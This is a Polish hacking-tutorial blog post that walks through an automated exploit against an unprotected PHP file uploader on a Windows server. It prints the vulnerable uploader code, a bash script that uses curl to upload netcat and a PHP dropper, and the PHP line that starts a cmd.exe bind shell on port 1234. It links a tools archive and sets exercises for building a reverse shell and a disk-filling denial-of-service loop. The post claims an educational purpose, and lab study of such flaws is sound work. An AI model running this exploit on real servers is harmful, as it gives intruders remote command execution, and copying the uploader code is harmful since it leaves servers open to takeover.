Exploit php – cURL uploaduje plik…

Dzisiaj uzupełnimy jeden z poprzednich wpisów dotyczącego ataków na uploadery php. W dalszej części wpisu dodany jest film pokazowy w serwisie YoTube. Jako że najlepszą formą nauki jest czytanie kodów źródłowych i ich studiowanie, to postanowiliśmy zademonstrować skrypt automatyzujący taki atak na serwer HTTP uruchomiony w środowisku Microsoft Windows. Użyjemy do tego skryptu napisanego w systemie operacyjnym Kali Linux w powłoce Bash. Skrypt wykorzystuje bibliotekę cURL, plik wykonywalny netcat.exe i prościutki skrypt w języku PHP. Wpis ma tylko charakter poglądowy i został napisany w celach edukacyjnych. Być może ktoś szuka informacji jak wysłać plik za pomocą formularza HTML znajdującego się na stronie WWW z poziomu skryptu lub konsoli. Zapewne po modyfikacjach i doinstalowaniu odpowiedniego oprogramowania udałoby się uruchomić ten exploit pod systemem Windows.

Skrypt uploadera PHP

Skrypt podatny na atak został już przedstawiony w innym poradniku i adres do niego znajduje się we wstępie do tego wpisu. Mimo to postanowiliśmy go również zamieścić tutaj:

<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="500000" />
    Wybierz plik do wgrania: <input name="wgrywanyPlik" type="file" /><br />
    <input type="submit" value="Wgraj plik" />
</form>
<?php
if (!empty($_POST['MAX_FILE_SIZE'])) {
 
    $folder_plikow = "pliki/" . basename($_FILES['wgrywanyPlik']['name']);
 
    if (move_uploaded_file($_FILES['wgrywanyPlik']['tmp_name'], $folder_plikow)) {
        echo "<b>Plik " . basename($_FILES['wgrywanyPlik']['name']) . " został załadowany!</b>";
    } else {
        echo "<b>Nie można załadować pliku!</b>";
    }
}
?>

Ze względu na fakt, że do napisania przykładowego exploita użyjemy skompilowanej wersji programu netcat dla Microsoft Windows, skrypt należy umieścić na takowym właśnie systemie. My uruchomiliśmy go w znanym Wam zapewne już darmowym środowisku XAMPP. Jeśli chciałbyś przetestować to na innym systemie hostującym uploader, musisz znaleść w internecie skompilowaną wersje netcata dla tego właśnie systemu.

cURL upload netcata wraz z uruchomieniem w Kali Linux
Skrypt exploit.sh uploadujący netcata i uruchamiający go na zdalnym serwerze…

cURL wysyłanie pliku metodą POST

Cały skrypt działa w następujący sposób:

  1. Wysyła za pomocą podatnego na atak formularza dwa pliki (skrypt.php i nc.exe).
  2. Uruchamia wgrany skrypt.php.
  3. Skrypt php uruchamia naszego nasłuchującego backdoora nc.exe z odpowiednimi argumentami podanymi w tym skrypcie.

Zawartość skryptu bash exploit.sh:

#!/bin/bash
if [ "$1" != "" ]
then
 #echo -e "Sprawdzam dostepnosc $1...\n"
# ping -c 3 $1
 echo -e "\n--> Uruchamianie exploita dla IP $1..."
 curl --connect-timeout 6 -s -o lol1.txt -X POST -F MAX_FILE_SIZE=500000 -F "wgrywanyPlik=@nc.exe" http://$1/upload.php
 curl --connect-timeout 3 -s -o lol2.txt -X POST -F MAX_FILE_SIZE=500000 -F "wgrywanyPlik=@skrypt.php" http://$1/upload.php
 echo "---> Wgrano shella..."
 sleep 1 &
 curl --connect-timeout 2 -s -o lol3.txt http://$1/pliki/skrypt.php &
 echo "----> Uruchomiono bind tcp..." &
 sleep 1
 echo -e "-----> Proba polacznenia z $1...\n" &
 nc $1 1234 -w3
 echo "------> Koniec pracy z exploitem..."
else
 echo "Uzycie: $0 [IP]"
fi

W celu uruchomienia exploita należy w systemie Linux nadać mu prawa do wykonania i uruchomić z adresem IP serwera hostującego jako argument:

chmod +x exploit.sh
./exploit.sh 192.168.0.10

Najważniejsze polecenia w naszym exploicie znajdują się w linijce 7, 8 i 11. To za pomocą ich biblioteką cURL wgrywamy nasze dwa pliki trojana. Pamiętaj również, że w folderze z powyższym exploitem musi znajdować się plik skrypt.php i nc.exe. Drugim z plików jest następujący plik skrypt.php:

<?php
echo("Running exploit...");
exec("nc.exe -lvp 1234 -e C:\Windows\System32\cmd.exe > cicho.txt");
?>

Powyższy skrypt służy tylko i wyłącznie do uruchomienia pliku nasłuchującego nc.exe (NetCat) za pomocą wiersza poleceń Windows i nasłuchiwanie za jego pomocą na porcie 1234.

Nasz exploit ostatecznie w 15 linijce kodu uruchamia u siebie netcata z adresem IP serwera HTTP w celu umożliwienia połączenia się ze zdalnym systemem. Zaraz po wykonaniu tej czynności powinniśmy uzyskać dostęp do wiersza poleceń zdalnego systemu.


Warto objaśnić również dla ciekawskich argumenty programu cURL. Są one następujące:

  • –connect-timeout – czas oczekiwania na połączenie się z serwerem,
  • -s – tryb silent czyli cichy,
  • -o – opcjonalny plik wyjściowy (tutaj wypisywane są informacje od cURLA),
  • -X – typ zapytania HTTP (POST),
  • -F – pole protokołu HTTP i POST (atrybut-wartość).

Download skrypty i netcat na Windows

Dwa spakowane skrypty wraz z nc.exe możecie pobrać tutaj. Hasło do archiwum to haker.edu.pl. Możecie oczywiście sami znaleźć sobie netcata na Windowsa w sieci (nc.exe).

Wideo poglądowe w Kali Linux

Ćwiczenie z netcat dla ambitnych

  1. Zmodyfikuj cały skrypt w ten sposób, aby zamiast uzyskania tzn. bind shella stworzyć reverse shella. Czyli tym razem to netcat z Windowsa ma się łączyć z Twoim systemem a nie odwrotnie. Jeżeli nie rozumiesz tych pojęć, to zostały one kiedyś przedstawione w naszej darmowej szkole hakerów.
  2. Za pomocą pętli języka BASH napisz skrypt, który unieruchomi zdalnie uploader php na dobre (dos/odmowa usługi). Naszą podpowiedzią jest… zapełnij w automatyczny sposób dysk systemu Windows… KOMBINUJ :-).

Literatura dla ciekawskich

Więcej informacji o programie netcat i curlu możesz uzyskać wpisując w swojej konsoli Linux:

man nc
man curl

Kilka informacji dodatkowych rozjaśniający kilka kwestii naszego exploita znajdziesz również w:

Podsumowanie exploita

Jak widzicie połączyliśmy kilka umiejętności do napisania tego prościutkiego exploita automatyzującego atak. Najpierw musieliśmy w konsoli przetestować wysyłanie pliku do skryptu formularza HTML za pomocą biblioteki cURL. Następnie w środowisku testowym potestowaliśmy połączenie netcata pomiędzy dwoma systemami operacyjnymi. Dodatkowo napisaliśmy prosty skrypt php uruchamiający backdoora po stronie serwera. W ostatecznej formie wszystko sprowadziliśmy do prostego skryptu Linux automatyzującego to wszystko napisanego w bashu. Oczywiście te czynności można wykonywać by ręcznie za każdym razem, ale jaki jest sens…

Podsumowując ogólnie exploity tego typu pisze się właśnie w powyższy sposób. Jeśli natchnęliście się kiedyś na opis jakiejś luki w nawet znanych skryptach PHP/CMS, warto zamiast szukać gotowca spróbować zaimplementować samemu takiego exploita wedle zamieszczonego opisu luki. Na pewno wiele nauczycie się przy tym zapewniając sobie ciekawą rozrywkę. Instalujcie na swoim lokalnym serwerze podatny CMS na atak i do dzieła.

Warto wiedzieć, że za pomocą narzędzia cURL można również symulować użytkownika przeglądarki internetowej. Więc prosto wywnioskować, że cURL nadaje się nawet do pisania botów lub klikacza w konkursach/ankietach.

Jeśli zainteresował Cię ten wpis to na pewno będziesz chętny na darmową szkołę hakerów lub na poradnik dotyczący oszukania uploadera za pomocą metadanych EXIF. Zapraszamy również  na naszego fejsa #HakerEduPL i @Twittera. Pozdrawiamy i powodzenia w nauce! 😉

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *